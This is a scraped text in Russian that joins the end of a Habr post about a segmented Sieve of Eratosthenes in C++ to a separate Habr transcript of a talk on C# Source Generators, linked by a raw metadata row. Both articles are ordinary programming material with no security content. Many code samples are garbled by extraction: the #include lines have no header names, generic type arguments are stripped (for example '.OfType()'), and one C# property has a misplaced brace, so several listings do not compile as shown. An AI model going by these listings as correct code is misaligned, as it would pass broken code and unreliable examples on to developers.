Понятно, что продолжать оптимизировать этот алгоритм можно еще долго, чем я в общем-то и занимался. Можно не проверять числа заканчивающиеся на 5 и 0. Можно составить список самых распространенных делителей и проверять каждое число сначала на них. В какой-то момент мне показалось, что я смогу решить проблему, проверяя новые числа только на уже найденные простые. Значительных результатов это не принесло. Проблема крылась в том, что с каждым новым числом, количество проверок возрастало, да и операция деления — одна из самых тяжелых.
Отправился в поиск. Узнал про [решето Эратосфена](http://habrahabr.ru/blogs/algorithm/91112/). Но использовать алгоритм в том виде, как он есть для моей задачи нельзя. Заранее ведь неизвестно\*, сколько надо просеять чисел, чтобы найти *N* простых. Поэтому я решил модифицировать алгоритм под свои нужды следующим образом.
Просеивать заранее большой набор натуральных чисел не выгодно. Значит надо просеивать некоторые наборы натуральных чисел до тех пор, пока не достигнем нужного результата. Причем каждый новый набор надо сначала просеять на уже найденные простые числа. Вот код, полученный уже после ряда оптимизаций:
`> // Listing 2
>
>
>
>
>
> #include
>
>
> #include
>
>
> #include
>
>
>
>
>
> using namespace std;
>
>
>
>
>
> int main()
>
>
> {
>
>
> clock\_t start = clock();
>
>
>
>
>
> const int AIM = 1000000;
>
>
>
>
>
> int startSize = AIM; // стартовый размер массива натуральных чисел
>
>
> int addSize = AIM; // размер дополнительного массива натуральных чисел
>
>
>
>
>
> vector<bool> nums(startSize);
>
>
> vector<int> primeNums(AIM);
>
>
>
>
>
> int foundPrimes = 0;
>
>
>
>
>
> for (int i = 2; i < startSize; i++)
>
>
> nums[i] = true;
>
>
>
>
>
> bool addition = false;
>
>
> int adder = 0;
>
>
> while (true)
>
>
> {
>
>
> if (addition)
>
>
> {
>
>
> nums.resize(nums.size() + addSize, true);
>
>
>
>
>
> // исключим составные числа простыми из предыдущих итераций
>
>
> for (int i = 0; i < foundPrimes; i++)
>
>
> {
>
>
> int cur\_num = primeNums[i];
>
>
> if ((addSize + ((nums.size() - addSize) % cur\_num)) < cur\_num)
>
>
> continue;
>
>
> for (int j = ((nums.size() - addSize) / cur\_num) \* cur\_num; j < nums.size(); j += cur\_num)
>
>
> nums[j] = false;
>
>
> }
>
>
> }
>
>
> else
>
>
> addition = true;
>
>
>
>
>
>
>
>
> int iter;
>
>
> if (foundPrimes == 0)
>
>
> iter = 2;
>
>
> else
>
>
> iter = primeNums[foundPrimes - 1] + 2;
>
>
>
>
>
> for ( ; iter < nums.size(); iter++)
>
>
> {
>
>
> // выбираем очередное простое число
>
>
> if (nums[iter])
>
>
> {
>
>
> primeNums[foundPrimes] = iter;
>
>
> foundPrimes++;
>
>
> if (foundPrimes == AIM)
>
>
> break;
>
>
> // просеиваем
>
>
> for (int j = iter + iter; j < nums.size(); j += iter)
>
>
> nums[j] = false;
>
>
> }
>
>
> else
>
>
> continue;
>
>
>
>
>
> }
>
>
> if (foundPrimes == AIM)
>
>
> break;
>
>
> }
>
>
>
>
>
> cout << "Last prime: " << primeNums[AIM -1];
>
>
>
>
>
> clock\_t end = clock();
>
>
> cout << "\n----------------" << endl;
>
>
> cout << "Time: " << double(end - start) / CLOCKS\_PER\_SEC << " sec" << endl;
>
>
> return 0;
>
>
> }`
Результаты даже слегка удивили:
10 000 — 0,001 с.
100 000 — 0,021 с.
1 000 000 — 0,262 с.
…
10 000 000 — 2,999 с.
На этом с задачей поиска 1M первых простых чисел я закончил. Результат меня вполне удовлетворил. Но что можно сделать ещё? Можно реализовать какой-нибудь из известных алгоритмов на основе решета Эратосфена, например, [решето Сундарама](http://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D1%88%D0%B5%D1%82%D0%BE_%D0%A1%D1%83%D0%BD%D0%B4%D0%B0%D1%80%D0%B0%D0%BC%D0%B0). Но вряд ли результаты изменяться значительно. Возможно, [решето Аткина](http://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D1%88%D0%B5%D1%82%D0%BE_%D0%90%D1%82%D0%BA%D0%B8%D0%BD%D0%B0) сможет показать себя лучше — именно этот алгоритм чаще всего используется в современной криптографии.
\* — неизвестно мне. [halyavin](https://habrahabr.ru/users/halyavin/) рассказал в первом комментарии, что оказывается давно известно.
*UPD*
Относительно потребления памяти, описанные алгоритмы ведут себя следующим образом:
1 млн. простых чисел, максимальное ОЗУ
— перебор делителей: ~4Мб
— модифицированное решето Эратосфена: ~6Мб
10 млн. простых чисел, максимальное ОЗУ
— перебор делителей: ~39Мб
— модифицированное решето Эратосфена: ~61Мб | https://habr.com/ru/post/124605/ | null | ru | null |
# Source Generators в действии
C# 9 дал долгожданную возможность кодогенерации, интегрированную с компилятором. Тем, кто мечтал избавиться от тысяч строк шаблонного кода или попробовать метапрограммирование, стало проще это сделать.
Ранее Андрей Дятлов [TessenR](https://habr.com/ru/users/tessenr/) выступил на конференции DotNext с докладом «Source Generators в действии». А теперь, пока мы готовим [следующий DotNext](https://dotnext.ru/?utm_source=habr&utm_medium=690040), сделали для Хабра текстовую расшифровку его доклада.
Что вообще такое эти Source Generators? Как их использовать? Как предоставить пользователю вашего генератора необходимую гибкость конфигурации и понятные сообщения о возникающих проблемах? Как разобраться, когда что-то пошло не так?
Ответы на все эти и другие вопросы — в тексте.
Оглавление
----------
* [Какие задачи должны решить генераторы?](#tasks)
* [Что такое Source Generators?](#whatis)
* [Fody](#fody)
* [Так IL Weaving мертв?](#dead)
* [Рефлексия](#reflexion)
* [Как поменяется мир метапрограммирования?](#change)
* [Проблемы при использовании генераторов](#issues)
* [Best practices](#bp)
* [Выводы](#conclusion)
* [Что в итоге?](#sumup)
* [Примеры генераторов](#ref)
* [Полезные ссылки](#links)
Помимо того, что в последнее время я работал над поддержкой Source Generators, за свою карьеру я также успел поработать и с другими технологиями метапрограммирования: IL Weaving, Fody, PostSharp, ILGenerator, CodeDOM, то есть практически со всем, что представлено в мире .NET. Сегодня я расскажу о том, какие преимущества и недостатки есть у Source Generators. Еще покажу, как вообще работают Source Generators, и даже напишу один, сравню их со старыми технологиями. Расскажу о некоторых проблемах, которые могут встретиться в процессе работы с ними, и дам несколько советов о том, как сделать работу с генераторами менее болезненной и не натыкаться на типичные проблемы.
Но сначала давайте разберемся, для чего нам вообще нужны генераторы.
Какие задачи должны решить генераторы?
--------------------------------------
В первую очередь — создание шаблонного кода. Если у вас, например, есть методы `Equals`, `GetHashCode`, операторы равенства и неравенства, скажем, обеспечивающие структурное сравнение данных, писать их вручную для каждого типа очень неудобно. Было бы неплохо отдать эту задачу генератору, который напишет этот код за нас. В том числе можно, например, добавить всем типам в проекте осмысленный метод `ToString`, создавать типы по схеме, добавить mapping, например, как в AutoMapper, материализацию объектов баз данных.
Во вторых, благодаря тому, что мы теперь легко и просто можем создавать шаблонный код, открываются некоторые интересные возможности по оптимизации наших приложений. Например там, где мы раньше использовали рефлексию просто для того, чтобы не писать руками код. Скажем, регистрация типов для dependency injection, методы сериализации.
Перейдем к примеру того, чем нам могут быть полезны генераторы:
Я думаю, всем известен интерфейс `INotifyPropertyChanged`. В нём есть всего одно событие, сообщающее о том, что одно из свойств объекта изменилось и, например, его требуется обновить на пользовательском интерфейсе.
```
public interface INotifyPropertyChanged
{
event PropertyChangedEventHandler PropertyChanged;
}
```
Его очень легко реализовать, например, если у меня есть класс, представляющий модель машины, у которого есть свойство скорости в километрах в час, мне надо просто добавить одну строчку, реализующую событие из интерфейса…
```
public class CarModel : INotifyPropertyChanged
{
public double SpeedKmPerHour { get; set; }
public event PropertyChangedEventHandler? PropertyChanged;
}
```
…но потом оказывается, что его нужно постоянно вызывать. Автосвойство этого не делает, поэтому мне придется переписать его на свойство с отдельным полем для хранения данных и в сеттере этого свойства вызывать событие. Это уже довольно много кода.
Ладно бы его нужно было написать единожды, все-таки мы все пользуемся средой разработки, и там можно настроить шаблоны для таких вещей. Но его потом приходится еще и поддерживать. Посмотрите, сколько раз упомянуто имя поля, имя самого свойства, тип возвращаемого значения. Рефакторить это потом больно!
```
public class CarModel : INotifyPropertyChanged
{
private double SpeedKmPerHourBackingField;
public double SpeedKmPerHour
}
get => SpeedKmPerHourBackingField;
set
{
SpeedKmPerHourBackingField = value;
PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(nameof(SpeedKmPerHour)));
}
}
public event PropertyChangedEventHandler? PropertyChanged;
}
```
Это отличная задача для генераторов кода, потому что все свойства создаются по одному и тому же шаблону. В геттере я просто возвращаю поле, в сеттере записываю его и вызываю событие с именем свойства. С генераторами можно оставить в основном коде только поле для данных, а автосвойство и сам ивент может создать генератор:
Во-первых, с этим кодом будет проще работать — теперь тип данных и название поля упомянуты в коде всего один раз, и при рефакторинге не требуется синхронизировать их в нескольких местах.
Во-вторых, такой код уже не будет сильно разрастаться по мере добавления новых свойств, скажем, если я добавлю свойства для названия модели, количества дверей в машине и так далее. Поэтому, когда мне понадобится добавить в эту модель бизнес-логику, например, метод ускорения на 10%, я сразу буду видеть в коде доступные мне методы и за что этот класс отвечает, мне не придется просматривать сотни строк шаблонного кода, только чтобы найти, какие еще методы есть в этом классе.
Что такое Source Generators?
----------------------------
Source Generators — новая [технология](https://devblogs.microsoft.com/dotnet/introducing-c-source-generators/) метапрограммирования от Microsoft. Вы пишете тип, который будет частью процесса компиляции, у него будет доступ к модели вашего кода, и результатом его работы [будут](https://devblogs.microsoft.com/dotnet/introducing-c-source-generators/) новые C#-файлы.
Roslyn начинает компилировать ваш проект, доходит до шага генерации кода, передает управление в ваш класc, который может посмотреть, что уже есть в проекте, поисследовать типы, создать на их основе новые файлы, добавить их, и компиляция продолжится так, как будто эти типы всегда там были, словно если бы вы написали этот код вручную.
Покажу это на примере небольшого демо.
**Примечание**: в исходном докладе использован пример с сайта sourcegen.dev, который более недоступен.
Можно посмотреть примеры генераторов от Microsoft, [выложенные на гитхабе](https://github.com/dotnet/roslyn-sdk/tree/main/samples/CSharp/SourceGenerators).
Начнем с примера реализации `INotifyPropertyChanged` при помощи генератора.
Он работает со следующим [исходным кодом](https://github.com/dotnet/roslyn-sdk/blob/main/samples/CSharp/SourceGenerators/GeneratedDemo/UseAutoNotifyGenerator.cs) в «целевом» проекте.
В нем есть partial-класс `ExampleViewModel`, в котором есть несколько полей:
```
// The view model we'd like to augment
public partial class ExampleViewModel
{
[AutoNotify]
private string _text = "private field text";
[AutoNotify(PropertyName = "Count")]
private int _amount = 5;
}
```
Есть атрибут `AutoNotify` и тест, который подписывается на событие `PropertyChanged` этой модели, меняет несколько свойств и записывает информацию о них в консоль.
Как можно заметить, в этой программе мы подписываемся на событие и работаем со свойствами, которые в исходном коде нигде не написаны.
Если запустить эту программу, она выведет:
```
Text = private field text
Count = 5
Property Text was changed
Property Count was changed
```
Это достигается за счет файлов, добавленных при помощи генератора, в данном случае он добавляет два файла:
* Декларацию атрибута `AutoNotify`
```
using System;
namespace AutoNotify
{
[AttributeUsage(AttributeTargets.Field, Inherited = false, AllowMultiple = false)]
[System.Diagnostics.Conditional("AutoNotifyGenerator_DEBUG")]
sealed class AutoNotifyAttribute : Attribute
{
public AutoNotifyAttribute()
{
}
public string PropertyName { get; set; }
}
}
```
* partial-декларацию использованного в основной программе типа `ExampleViewModel`, которая как раз реализует событие `PropertyChanged` и добавляет свойства, которые будут его вызывать:
```
namespace GeneratedDemo
{
public partial class ExampleViewModel : System.ComponentModel.INotifyPropertyChanged
{
public event System.ComponentModel.PropertyChangedEventHandler PropertyChanged;
public string Text
{
get
{
return this._text;
}
set
{
this._text = value;
this.PropertyChanged?.Invoke(this, new System.ComponentModel.PropertyChangedEventArgs(nameof(Text)));
}
}
public int Count
{
get
{
return this._amount;
}
set
{
this._amount = value;
this.PropertyChanged?.Invoke(this, new System.ComponentModel.PropertyChangedEventArgs(nameof(Count)));
}
}
}
}
```
Можно также посмотреть на сам [исходный текст](https://github.com/dotnet/roslyn-sdk/blob/d7d6a76464f4f5a14a0ac7ec00384b372be19d80/samples/CSharp/SourceGenerators/SourceGeneratorSamples/AutoNotifyGenerator.cs) генератора.
В нем есть исходный код для атрибута `AutoNotify` и метод `Execute`, который может посмотреть, что есть в проекте, найти объявленные в нем типы, посмотреть на их поля, посмотреть, какие из них отмечены атрибутом `AutoNotify`, и на основе этих полей создать partial-часть, реализующую `NotifyPropertyChanged`.
В этом примере может быть сложно сходу разобраться, особенно разработчикам, прежде не работавшим с код-моделью компилятора, — много кода, много неизвестных типов, к которым требуется явное приведение, и незнакомого API. Может показаться, что для работы с генераторами требуется иметь опыт работы с API компилятора или приложить серьезные усилия, чтобы разобраться в нём с нуля.
Можно показать более простой пример, где будет понятно, с чего можно начать и что действительно нужно знать для написания своего первого генератора. На самом деле, чтобы начать писать свои генераторы, достаточно знать буквально 3 метода из API компилятора.
У меня есть проект с view-моделью CarModel, которую я показывал ранее. В ней есть три поля с данными, метод ускорения машины и 50 строк бойлерплейта, реализующего `NotifyPropertyChanged`.
Сейчас этот тип выглядит вот так:
```
public class CarModel : INotifyPropertyChanged
{
private double SpeedKmPerHourBackingField;
private int NumberOfDoorsBackingField;
private string ModelBackingField = "";
public void SpeedUp() => SpeedKmPerHour *= 1.1;
public double SpeedKmPerHour
{
get => SpeedKmPerHourBackingField;
set
{
SpeedKmPerHourBackingField = value;
PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(nameof(SpeedKmPerHour)));
}
}
public int NumberOfDoors
{
get => NumberOfDoorsBackingField;
set
{
NumberOfDoorsBackingField = value;
PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(nameof(NumberOfDoors)));
}
}
public string Model
{
get => ModelBackingField;
set
{
ModelBackingField = value;
PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(nameof(Model)));
}
}
public event PropertyChangedEventHandler? PropertyChanged;
}
```
В самой программе я подписываюсь на событие `PropertyChanged` этой модели, меняю какие-то свойства, получаю от них нотификации, то есть просто тестирую, что всё это работает.
Исходную версию проекта до применения генератора можно [посмотреть на гитхабе](https://github.com/TessenR/NotifyPropertyChangedDemo/tree/69e63add55f0dd001a6b62fa77679d50ad1cc267).
Далее я покажу, как можно избавиться от этого шаблонного кода с помощью генератора.
Для того чтобы добавить генератор, мне потребуется новый проект — это будет обычная .NET standard-библиотека и несколько NuGet-пакетов, чтобы работать с Roslyn и теми данными о проекте, которые мне предоставит компилятор.
Все проекты с генераторами должны быть под .NET standard 2.0, но версию языка C# в них можно использовать любую.
```
netstandard2.0
preview
```
Дальше мне нужно подключить этот генератор к проекту с основной программой. Нужно указать, что это не просто ссылка на сборку, типы из которой я смогу использовать, а именно генератор, который может анализировать и дополнять код проекта. Для этого мне нужно указать, что эта ссылка имеет тип `OutputItemType="Analyzer"`. Также поскольку генератор нужен только в момент компиляции, можно убрать зависимость от сборки с генератором в скомпилированной программе:
Теперь пришло время написать сам генератор — он должен реализовать интерфейс `ISourceGenerator` и быть отмечен атрибутом `[Generator]`. В самом интерфейсе всего два метода: `Initialize` и `Execute`. `Initialize` для этого генератора не требуется, и я объясню его функцию в следующем демо. А в методе `Execute` есть контекст, в котором есть свойство `Compilation`, и это как раз вся информация, которую собрал о целевом проекте Roslyn, то есть какие типы, файлы там есть, можно на них посмотреть.
```
[Generator]
public class NotifyPropertyChangedGenerator : ISourceGenerator
{
public void Initialize(GeneratorInitializationContext context)
{
}
public void Execute(GeneratorExecutionContext context)
{
var compilation = context.Compilation;
}
}
```
Первый метод, который нужно знать — `GetTypeByMetadataName`, который позволяет получить тип по его имени. Меня интересует `System.ComponentModel.INotifyPropertyChanged` интерфейс, который я и буду реализовывать в своих типах.
```
var compilation = context.Compilation;
var notifyInterface = compilation.GetTypeByMetadataName("System.ComponentModel.INotifyPropertyChanged");
```
Дальше можно посмотреть на синтаксические деревья, которые есть в этом объекте компиляции. То есть фактически те файлы, которые есть в проекте, для которого запущен генератор.
Второй метод, который нужно знать, — `compilation.GetSemanticModel(syntaxTree)`. Он вернет семантическую модель, которая позволяет нам перейти от синтаксиса, то есть фактически текста, написанного в файле — ключевого слова `class` и какого-то имени для него, к семантике — то есть информации о том, что это за тип, какие у него есть атрибуты, какие интерфейсы он реализует, какие есть члены типа.
Дальше моему генератору нужно обойти все файлы в программе. Для этого я могу использовать метод `GetRoot`, метод `DescendantNodesAndSelf`. Меня будут интересовать только декларации классов, в Roslyn они будут представлены элементом типа `ClassDeclarationSyntax`.
Как правило, языковые конструкции названы относительно понятно, и можно просто поискать подходящий тип среди наследников типа, который вам вернул Roslyn API, в данном случае метод `DescendantNodesAndSelf` возвращает коллекцию `SyntaxNode`. Можно посмотреть список его наследников и легко найти типы для каких-то конкретных интересующих вас элементов, например, `ClassDeclarationSyntax`, `InterfaceDeclarationSynttax`, `MethodDeclarationSyntax`. Чаще всего примерное название можно просто угадать и найти элемент в поиске.
```
foreach (var syntaxTree in compilation.SyntaxTrees)
{
var semanticModel = compilation.GetSemanticModel(syntaxTree);
syntaxTree.GetRoot().DescendantNodesAndSelf()
.OfType()
}
}
}
```
Есть и второй способ, если не хочется возиться с поиском нужного типа или угадать его название не получается — можно зайти на сайт [SharpLab](https://sharplab.io/) и выбрать режим отображения синтаксического дерева. Вы сможете просто набрать программу с нужными вам элементами и посмотреть, какие синтаксические элементы будут для него созданы. Например, если вы не знаете, как будет называться синтаксический элемент для вызова метода, можно ввести туда `Console.WriteLine();` и узнать, что это будет `ExpressionStatement`, в котором будет находиться `InvocationExpression`.
Дальше, когда я получил типы, объявленные в проекте, для которого будет запущен генератор, мне нужно перейти как раз к семантической модели для моей декларации. Для этого нужно передать декларацию типа в метод `semanticModel.GetDeclaredSymbol()`.
Три метода, которые я уже использовал — `Compilation.GetTypeByMetadataName`, `Completion.GetSemanticModel` и `SemanticModel.GetDeclaredSymbol` — это как раз те методы, которые вам, скорее всего, потребуются в любом генераторе и которые не так просто найти самостоятельно. Практически всё остальное можно быстро найти, посмотрев доступные методы в автодополнении или поискав нужный вам тип среди наследников интерфейса, который вам вернул API компилятора.
Например, я вижу, что вызов `semanticModel.GetDeclaredSymbol` вернул мне `ISymbol`, но я знаю, что буду работать только с декларациями типов и легко могу найти в наследниках `ISymbol` нужный мне тип `ITypeSymbol`, представляющий семантическую информацию о типе, например, классе или интерфейсе, объявленном в целевом проекте.
При помощи свойств этого объекта можно посмотреть, какие интерфейсы он реализует, и отфильтровать только типы, реализующие интерфейс `INotifyPropertyChanged`. Все такие типы в своем генераторе я сложу в HashSet, это те типы, которые мой генератор должен дополнить реализацией интерфейса `INotifyPropertyChanged`.
```
foreach (var syntaxTree in compilation.SyntaxTrees)
{
var semanticModel = compilation.GetSemanticModel(syntaxTree);
var immutableHashSet = syntaxTree.GetRoot()
.DescendantNodesAndSelf()
.OfType()
.Select(x => semanticModel.GetDeclaredSymbol(x))
.OfType()
.Where(x => x.Interfaces.Contains(notifyInterface))
.ToImmutableHashSet();
}
```
Дальше я обойду все такие типы и создам для каждого из них дополнительный файл, в котором будет реализация этого интерфейса при помощи partial-декларации типа, который я хочу дополнить.
Для этого мне понадобится объявить еще одну декларацию этого типа с таким же неймспейсом и именем, объявить в ней событие `PropertyChanged` и добавить все нужные мне свойства.
```
private string GeneratePropertyChanged(ITypeSymbol typeSymbol)
{
return $@"
using System.ComponentModel;
namespace {typeSymbol.ContainingNamespace}
{{
partial class {typeSymbol.Name}
{{
{GenerateProperties(typeSymbol)}
public event PropertyChangedEventHandler? PropertyChanged;
}}
}}";
}
```
Дальше я буду создавать свойства. Я не знаю, сколько их будет, и мне потребуется `StringBuilder`. Я могу посмотреть, какие в моем типе есть члены, при помощи метода `GetMembers` и отфильтровать только поля по типу `IFieldSymbol`. И нужный метод и интерфейсы для конкретных членов типа легко можно найти в автодополнении просто по имени.
Так как я делаю максимально простой генератор, я буду просто обрабатывать те поля, у которых имя заканчивается на суффикс `BackingField`. То есть вместо атрибутов будет конвенция наименования. Если тип реализует `NotifyPropertyChanged`, то для всех его полей с суффиксом `BackingField` я буду создавать свойства с нотификациями.
Дальше мне просто потребуется создать шаблон для свойства, вызывающего событие `PropertyChanged` в сеттере, и подставить в него нужные данные — тип свойства, совпадающий с типом поля для хранения данных, имя свойства, совпадающее с именем поля до суффикса `BackingField` и т. д.:
```
private static string GenerateProperties(ITypeSymbol typeSymbol)
{
var sb = new StringBuilder();
var suffix = "BackingField";
foreach (var fieldSymbol in typeSymbol.GetMembers().OfType()
.Where(x=>x.Name.EndsWith(suffix)))
{
var propertyName = fieldSymbol.Name[..^suffix.Length];
sb.AppendLine($@"
public {fieldSymbol.Type} {propertyName}
{{
get => {fieldSymbol.Name};
set
{{
{fieldSymbol.Name} = value;
PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(nameof({propertyName})));
}}
}}");
}
return sb.ToString();
}
```
Всё, что мне осталось, — просто добавить этот сгенерированный файл в компиляцию. Для этого есть метод `context.AddSource`, которому нужно передать имя нового файла и сам исходный код. Я создам файл с таким же именем, как тип, который я расширяю с суффиксом `Notify.cs`.
```
foreach (var typeSymbol in immutableHashSet)
{
var source = GeneratePropertyChanged(typeSymbol);
context.AddSource($"{typeSymbol.Name}.Notify.cs", source);
}
```
Теперь этот генератор будет просто работать с моим проектом, а я у себя могу стереть весь бойлерплейт, который реализует `NotifyPropertyChanged` и сделать этот тип `partial`, чтобы часть созданная при помощи генератора была добавлена в этот же тип. Теперь `CarModel` тип в моем проекте выглядит вот так:
```
public partial class CarModel : INotifyPropertyChanged
{
private double SpeedKmPerHourBackingField;
private int NumberOfDoorsBackingField;
private string ModelBackingField = "";
public void SpeedUp() => SpeedKmPerHour *= 1.1;
}
```
Теперь мне осталось только перекомпилировать программу, и всё заработает точно так же, как раньше — у меня будет подписка на `PropertyChangedEvent`, точно так же будут приходить сообщения о том, что свойства модели изменились, всё будет работать точно так же, как раньше, но мне больше не потребуется писать это всё руками.
Соответственно, если мне понадобится добавить новое свойство в этот тип, я теперь могу сделать это в одну строчку, если мне потребуется изменить имя или тип какого-то из существующих свойств, достаточно будет сделать это в одном месте.
О чем нужно помнить, когда вы написали свой первый генератор: Visual Studio и Roslyn увидят его только после того, как вы перекомпилируете проект, закроете IDE с ним и и откроете проект заново. То же самое относится и к случаю, когда вы скачали, например, это демо с гитхаба и открыли в IDE — при первом запуске вы увидите много ошибок, вызванных отсутствием в IDE информации о сгенерированном коде.
```
namespace NotifyPropertyChangedLiveDemo
{
static class Program
{
static void Main()
{
var carModel = new CarModel
{
Model = "MyCar",
NumberOfDoors = 4,
SpeedKmPerHour = 200
};
Console.Write("Got ");
PrintCarDetails();
carModel.PropertyChanged += OnPropertyChanged();
Console.WriteLine();
Console.WriteLine("Updating to racing model...");
carModel.Model = "Racing " + carModel.Model;
carModel.NumberOfDoors = 2;
while (carModel.SpeedKmPerHour <250)
```
Генератор загружается в память один раз в момент открытия проекта. Таким образом, IDE не увидит никаких изменений — добавления или редактирования генераторов, которые были сделаны в момент, когда проект был открыт. Предполагается, что генераторы будут один раз загружены с NuGet или написаны, затем часто меняться не будут. Необходимость переоткрытия проекта относится только к изменению кода самого генератора, если вы изменили что-то в вашем проекте, то генератор сразу же сможет создать новый код с учетом этого изменения.
Если вам нужно часто редактировать генератор и получать обратную связь в IDE без переоткрытия проекта, вы можете воспользоваться Rider, но думаю, что рано или поздно эта фича появится и в Visual Studio.
После того как вы переоткроете проект, вы сможете работать с кодом добавленным генератором почти так же, как с вашим собственным — добавленные члены типов будут мгновенно доступны в автодополнении, вы сможете снавигироваться к сгенерированному коду, посмотреть на него и даже поставить брейкпоинт и подебажить его.
Когда мы слышим о метапрограммировании, помимо вопросов о том, как сделать, чтобы что-то заработало, возникает много вопросов о том, как потом его читать и поддерживать. Можно ли посмотреть на сгенерированный код, подебажить его, протестировать процесс генерации?
Генераторы были созданы в том числе для удобства поддержки кода, созданного ими, поэтому вы можете легко работать со сгенерированным кодом. Все файлы, созданные генераторами, видны в проектной модели, к типам и методам из сгенерированного кода можно снавигироваться, и в любой точке сгенерированного файла можно поставить брейкпоинт, который сработает при отладке приложения — всё как если бы вы написали этот код вручную!
Кроме того, вы можете с помощью API компилятора запустить генератор в тесте, для того исходного кода, который вы ему предоставите, и проверить, что результат его работы соответствует вашим ожиданиям. Пример юнит-теста запускающего генератор можно [посмотреть на гитхабе](https://github.com/TessenR/NotifyPropertyChangedDemo/blob/main/GeneratorTest/UnitTest1.cs).
Весь код примера с генератором можно [найти на гитхабе](https://github.com/TessenR/NotifyPropertyChangedDemo).
Fody
----
Надеюсь, после предыдущего примера стало понятно, что в генераторах нет ничего сложного, и можно буквально за 10–15 минут написать простой генератор, например, для реализации интерфейса `INotifyPropertyChanged`. На проекте с большим количеством моделей с десятками это может позволить удалить огромное количество бойлерплейта, измеряемое десятками или даже сотнями тысяч строк кода.
Но на самом деле, здесь нет ничего совершенно нового — уже 5–7 лет назад я пользовался Fody и IL Weaving для того же самого `INotifyPropertyChanged`, и еще тогда с помощью этих тулов фактически создавал точно такую же реализацию интерфейса, как сейчас с помощью генератора. Отличие в том, что в Fody это делается не при помощи кода, а при помощи манипуляций с байт-кодом.
Покажу, как это [выглядит](https://github.com/Fody/PropertyChanged).
```
public class Person : INotifyPropertyChanged
{
public event PropertyChangedEventHandler PropertyChanged;
public string GivenNames { get; set; }
public string FamilyName { get; set; }
public string FullName => $"{GivenNames} {FamilyName}";
}
```
Есть класс Person с NotifyPropertyChanged-интерфейсом, в котором есть сам ивент и несколько автосвойств. После того, как этот проект заканчивает компиляцию, модифицируется байт-код, и свойства становятся вычислимыми свойствами, у которых в сеттере есть какая-то логика, например, сравнение нового значения с тем, которое сейчас хранится в поле, и вызов события при изменении значения.
Возникает вопрос: а этот способ Microsoft чем-то лучше, или мы получили то же самое, но реализованное немного по-другому? Способов добавить что-то в компиляцию, на самом деле, было много. Это и IL Weaving в лице Fody и PostSharp, T4, ILGenerator, Codedom. Давайте разберемся, чем Source Generators лучше или хуже. Я сравню их с IL Weaving, как с наиболее популярным способом сделать то же самое, добавить что-то в проект. Все плюсы и минусы проистекают здесь из разницы в подходах.
Генераторы только добавляют файлы, а IL weaving переписывает байткод. Это накладывает разные ограничения на код, который пользуется этими технологиями. [Покажу](https://github.com/Fody/PropertyChanged) на примере.
C Fody мне приходится писать ивент `PropertyChanged`, который в своем демо я тоже перенес в генератор. Чтобы Fody начал работать, мне требуется готовая, уже скомпилированная сборка, ведь чтобы начать модифицировать IL, надо, чтобы компилятор его сначала создал. Если код проекта не скомпилируется, то до Fody дело просто не дойдет. Таким образом, при помощи IL Weaving будет гораздо труднее добавить методы, от которых зависит компиляция. Например, ивент `PropertyChanged` или методы, которые реализуют интерфейсы. С другой стороны, в Fody я могу просто написать автосвойство, и всё это магически будет работать.
С Source Generators, как вы помните, я могу только добавить новый файл. Это значит, что если у меня где-то есть автосвойство, то я не смогу подменить его реализацию — автосвойство не будет вызывать нужное мне событие. То есть этот подход для Source Generators не подойдет.
Вместо этого мы можем полагаться:
* на конвенции, как в моём демо со схемой имен для полей;
* на атрибуты, и указать в них имя свойства, дополнительные нотификации;
* на конфигурационные файлы.
С атрибутами это может выглядеть следующим образом.
У меня есть поле, отмеченное атрибутом, указывающим, как должно называться свойство и какие дополнительные нотификации нужно выдавать. Можно пойти еще дальше и вместо поля отметить атрибутом сам тип и указать, какое свойство создавать с каким названием и типом, и предоставить генератору создание и свойства, и поля, на основании этого атрибута.
К сожалению, после компиляции проекта с генератором в коде в любом случае будет и свойство, и поле.
С одной стороны это хорошо, потому что у нас есть код, который можно подебажить.
С другой стороны, это не очень удобно, потому что в автодополнении у меня будет видно оба члена типа: и поле, и свойство. Это означает, что с генераторами я могу случайно напрямую использовать поле вместо свойства и потерять нотификацию об изменении.
Можно с этим бороться при помощи, например, атрибута `[Obsolete]` и `#pragma warning disable` в сгенерированном коде, но это тоже будет не очень удобно.
Возвращаясь к плюсам и минусам, генераторы только добавляют файлы, и это значит, что строчка, которую вы сгенерируете, еще пройдет через компилятор. Даже если вы забудете точку с запятой, компилятор вам об этом сообщит. С IL Weaving мы переписываем байткод, если где-то оплошали, то уже при запуске программы получим `InvalidProgramException`, и будет очень трудно впоследствии разобраться, что же именно к нему привело.
С генераторами у нас есть код, который можно посмотреть и подебажить, с IL Weaving у нас кода для дебага просто нет, т. к. все модификации были уже непосредственно в байткоде.
Генераторы можно легко протестировать, просто добавив тест на то, какой код генератор создает для конкретного кода на входе генератора. С ILWeaving вам скорее всего потребуется тестировать поведение уже обработанной сборки реального проекта.
И гораздо ниже порог вхождения. В генераторе мы создаем код в виде строчки текста и это то, что мы с вами и так делаем каждый день. Это гораздо проще, чем пытаться корректно модифицировать байткод.
Кроме того, в случае с генераторами код не обязан компилироваться до того, как будет запущен генератор, таким образом решая возможную проблему циклической зависимости, которая в том или ином виде может возникать во многих технологиях метапрограммирования — когда для того чтобы запустить генератор, нужно скомпилировать проект, а для его компиляции требуются методы, которые добавит генератор.
Есть два небольших минуса: для расширения типа генератором требуется partial, то есть вы должны заранее подумать о том, какой класс вы хотите расширить. Кроме того, они не могут поменять существующий код, в то время как при помощи IL Weaving вы можете удалять или менять любой код, например, в целях оптимизации.
Так IL Weaving мертв?
---------------------
В Fody и PostSharp есть огромное количество модификаций, которые легко заменить при помощи генераторов: `PropertyChanged`, реализация методов эквивалентности, `ToString`, структурная эквивалентность. Думаю, что в ближайшее время появятся генераторы, реализующие то же самое, просто на другой технологии, черпая из них вдохновение.
Но помимо этого, как я уже говорил, IL Weaving может модифицировать сам код методов, и это часто используется, чтобы добавить в него функциональные аспекты: кэширование, логирование, обработку исключений. В Fody, например, есть плагин, который позволяет выдавать запись в лог каждый раз, когда мы создаем disposable-объект, и каждый раз, когда он финализируется, таким образом позволяя по этим логам найти, где мы создали объект, на котором забыли вызвать `Dispose()`. Возникает вопрос: а можно ли то же самое сделать при помощи генераторов?
